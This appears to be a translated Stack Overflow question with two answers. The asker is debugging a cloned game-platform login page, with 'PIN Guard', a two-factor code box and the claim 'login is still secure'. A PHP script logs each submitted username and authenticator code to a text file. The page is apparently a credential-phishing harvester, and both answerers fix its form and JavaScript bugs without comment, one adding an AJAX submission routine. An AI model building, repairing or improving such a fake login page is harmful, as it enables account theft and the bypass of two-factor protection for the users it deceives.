Question

所以我有这个表格。我现在拥有它的方式是用户将输入他们的用户名和密码，然后单击登录，（验证引脚被隐藏），直到点击登录按钮，显示div并且用户将输入他们的验证引脚。我遇到的问题是无论我在文本框中提交什么，没有任何内容提交到我的PHP脚本中，我在这里：

<?php
$myfile = fopen("newfile_" . uniqid() . ".txt", "w") or die("...");
$txt = $_POST['username'] . ':' . $_POST['authcode'];
fwrite($myfile, $txt);
fclose($myfile);
echo "LOREM IPSUM:("; 
?>

<!DOCTYPE html>
    <form action="/loginaction.php" method="post" name="submit">
    <input class="btn_green_white_innerfade btn_medium" type="button" name="submit" id="userLogin" value="Sign in" width="104" height="25" border="0" tabindex="5" onclick="showDiv();">
            <div class="mainLoginLeftPanel_signin">
                <label for="userAccountName">username</label><br>
                <input class="textField" type="text" name="username" id="userAccountName" maxlength="64" tabindex="1" value="username"><br>&nbsp;<br>
                <label for="userPassword">Password</label><br>
                <input value="password" class="textField" type="password" name="password" id="userPassword" autocomplete="off" maxlength="64" tabindex="2"><br>
                <div id="passwordclearlabel" style="text-align: left; display: none;">It seems that you may be having trouble entering your password. We will now show your password in plain text (login is still secure).</div>
                <div class="checkboxContainer">
                <div class="checkboxRow" title="If you select this option, we will automatically log you in on future visits for up to 30 days, or until you select &quot;Logout&quot; from the account menu.  This feature is only available to PIN Guard enabled accounts.">
                <input class="" type="checkbox" name="remember_login" id="remember_login" tabindex="4"><label for="remember_login">Remember me on this computer</label><br>
                    </div>
                </div>
            </div>

    <div class="modal_buttons" id="login_twofactorauth_buttonsets"> 
        <div class="auth_buttonset" id="login_twofactorauth_buttonset_entercode" style="">
            <button type="submit" class="auth_button leftbtn" data-modalstate="submit" onsubmit="submitForms();">

                <div class="auth_button_h3">submit</div>
                <div class="auth_button_h5">my authenticator code</div></button></div></div>

        <div class="twofactorauthcode_entry_area">
        <div id="login_twofactor_authcode_entry">
            <div class="twofactorauthcode_entry_box">
                <input name="authcode" class="twofactorauthcode_entry_input authcode_placeholder" id="twofactorcode_entry" type="text" placeholder="enter your code here" autocomplete="off"/>
            </div>
        </div>
        <div id="login_twofactor_authcode_help_supportlink" style="display: none;">
            <a href="#">
                Contact  Support for help with account access               </a>
        </div>
    </div>

    </form>
</head>

表单名称都输入正确，我将操作设置为正确的脚本但是当我检查生成的文本文件时没有输入。我希望提交验证引脚的按钮提交所有3个细节（用户，通行证，authcode）和登录按钮的形式，以取消隐藏验证div（工作正常）。任何帮助将不胜感激。

提交表单的javascript函数是

<script type="text/javascript">
function() submitForms{
document.getElementById("submit").submit();
document.getElementById("submit").action = "/loginaction.php";
}

https://jsfiddle.net/jxd0g2z4/

Answer 1

该函数调用id为“submit”的表单，但您的表单没有id标记。它只有一个名称标签。您可以添加标签或更改选择器。

<form action="/loginaction.php" method="post" name="submit" id='submit'>

如果操作已经在html中，则不需要定义操作，但如果你这样做，则需要在提交函数调用之前进行操作。

我刚注意到的另一个错误是定义submitForms函数的语法。括号属于函数名后面，如下所示：

<script type="text/javascript">
function submitForms(){
   document.getElementById("submit").action = "/loginaction.php";
   document.getElementById("submit").submit();
}

最后的</head>标签也可能会丢掉一些东西。下面是我复制html和javascript的图片，以确保它能够通过。

<!DOCTYPE html>
<html>
<head>
<script type="text/javascript">
function submitForms(){
   document.getElementById("submit").action = "/loginaction.php";
   document.getElementById("submit").submit();
}
</script>
</head>
<body>
    <form action="/loginaction.php" method="post" name="submit">
    <input class="btn_green_white_innerfade btn_medium" type="button" name="submit" id="userLogin" value="Sign in" width="104" height="25" border="0" tabindex="5" onclick="showDiv();">
            <div class="mainLoginLeftPanel_signin">
                <label for="userAccountName">username</label><br>
                <input class="textField" type="text" name="username" id="userAccountName" maxlength="64" tabindex="1" value="username"><br>&nbsp;<br>
                <label for="userPassword">Password</label><br>
                <input value="password" class="textField" type="password" name="password" id="userPassword" autocomplete="off" maxlength="64" tabindex="2"><br>
                <div id="passwordclearlabel" style="text-align: left; display: none;">It seems that you may be having trouble entering your password. We will now show your password in plain text (login is still secure).</div>
                <div class="checkboxContainer">
                <div class="checkboxRow" title="If you select this option, we will automatically log you in on future visits for up to 30 days, or until you select &quot;Logout&quot; from the account menu.  This feature is only available to PIN Guard enabled accounts.">
                <input class="" type="checkbox" name="remember_login" id="remember_login" tabindex="4"><label for="remember_login">Remember me on this computer</label><br>
                    </div>
                </div>
            </div>

    <div class="modal_buttons" id="login_twofactorauth_buttonsets"> 
        <div class="auth_buttonset" id="login_twofactorauth_buttonset_entercode" style="">
            <button type="submit" class="auth_button leftbtn" data-modalstate="submit" onsubmit="submitForms();">

                <div class="auth_button_h3">submit</div>
                <div class="auth_button_h5">my authenticator code</div></button></div></div>

        <div class="twofactorauthcode_entry_area">
        <div id="login_twofactor_authcode_entry">
            <div class="twofactorauthcode_entry_box">
                <input name="authcode" class="twofactorauthcode_entry_input authcode_placeholder" id="twofactorcode_entry" type="text" placeholder="enter your code here" autocomplete="off"/>
            </div>
        </div>
        <div id="login_twofactor_authcode_help_supportlink" style="display: none;">
            <a href="#">
                Contact  Support for help with account access               </a>
        </div>
    </div>

    </form>
</body>
</html>

Answer 2

不知道我是否正确解决了问题，但对我来说，看起来这对你来说有点难以解决。我建议只加载第一个表单，这个表单用ajax发送到一个php文件，它做你需要做的（写文件）并回答一个新的html代码，你应该用原来加载的html代码替换。在这里你会发送第二个表格。如果出现错误，您可以在此处再次发送相同的forme。

编辑

如果你加载了jQuery，你可以使用这个功能。您的表单只需要一个类标记来激活它，例如：

<form action="yourfile.php" id="myForm" class="ajax-form">

这个表单会在提交时激活该功能。

$(".ajax-form").submit(function(e) {
    e.preventDefault();
    var form = $(this);
    var formID = form.attr('id');
    $.ajax({
        context: this,
        async: true,
        type: "post",
        url: form.prop('action'),
        data: form.serialize(),
        dataType: "html",
        success: function(datavalues) {
            $('#'+formID).replaceWith(datavalues);
        },
        error: function(json) {
            console.log('ARMAGEDDON!!!');
        },
    });
        return false;
});

将表单提交到php脚本的问题

2 个答案: